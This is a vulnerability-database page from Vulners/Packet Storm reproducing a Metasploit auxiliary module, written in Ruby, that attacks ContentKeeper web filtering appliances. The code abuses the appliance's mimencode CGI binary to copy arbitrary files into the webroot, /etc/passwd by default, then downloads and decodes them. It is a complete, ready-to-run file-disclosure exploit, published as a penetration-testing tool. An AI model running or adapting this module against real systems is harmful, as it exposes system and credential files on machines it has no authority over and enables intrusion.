Lucene search
K

ContentKeeper Web Appliance Mimencode File Access

🗓️ 31 Aug 2024 00:00:00Reported by Jay Turla, metasploit.comType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 250 Views

This module abuses the 'mimencode' binary to retrieve arbitrary files outside of the webroo

Code
`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::HttpClient  
include Msf::Auxiliary::Scanner  
  
def initialize  
super(  
'Name' => 'ContentKeeper Web Appliance mimencode File Access',  
'Description' => %q{  
This module abuses the 'mimencode' binary present within  
ContentKeeper Web filtering appliances to retrieve arbitrary  
files outside of the webroot.  
},  
'References' => [  
[ 'OSVDB', '54551' ],  
[ 'URL', 'http://www.aushack.com/200904-contentkeeper.txt' ],  
],  
'Author' => [ 'aushack' ],  
'License' => MSF_LICENSE)  
  
register_options(  
[  
OptString.new('FILE', [ true, 'The file to traverse for', '/etc/passwd']),  
OptString.new('URL', [ true, 'The path to mimencode', '/cgi-bin/ck/mimencode']),  
]  
)  
end  
  
def run_host(_ip)  
tmpfile = Rex::Text.rand_text_alphanumeric(20) # Store the base64 encoded traversal data in a hard-to-brute filename, just in case.  
  
print_status("Attempting to connect to #{rhost}:#{rport}")  
res = send_request_raw(  
{  
'method' => 'POST',  
'uri' => normalize_uri(datastore['URL']) + '?-o+' + '/home/httpd/html/' + tmpfile + '+' + datastore['FILE']  
}, 25  
)  
  
if (res && (res.code == 500))  
  
print_good("Request appears successful on #{rhost}:#{rport}! Response: #{res.code}")  
  
file = send_request_raw(  
{  
'method' => 'GET',  
'uri' => '/' + tmpfile  
}, 25  
)  
  
if (file && (file.code == 200))  
print_status("Request for #{datastore['FILE']} appears to have worked on #{rhost}:#{rport}! Response: #{file.code}\r\n#{Rex::Text.decode_base64(file.body)}")  
elsif (file && file.code)  
print_error("Attempt returned HTTP error #{res.code} on #{rhost}:#{rport} Response: \r\n#{res.body}")  
end  
elsif (res && res.code)  
print_error("Attempt returned HTTP error #{res.code} on #{rhost}:#{rport} Response: \r\n#{res.body}")  
end  
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout  
rescue ::Timeout::Error, ::Errno::EPIPE  
end  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation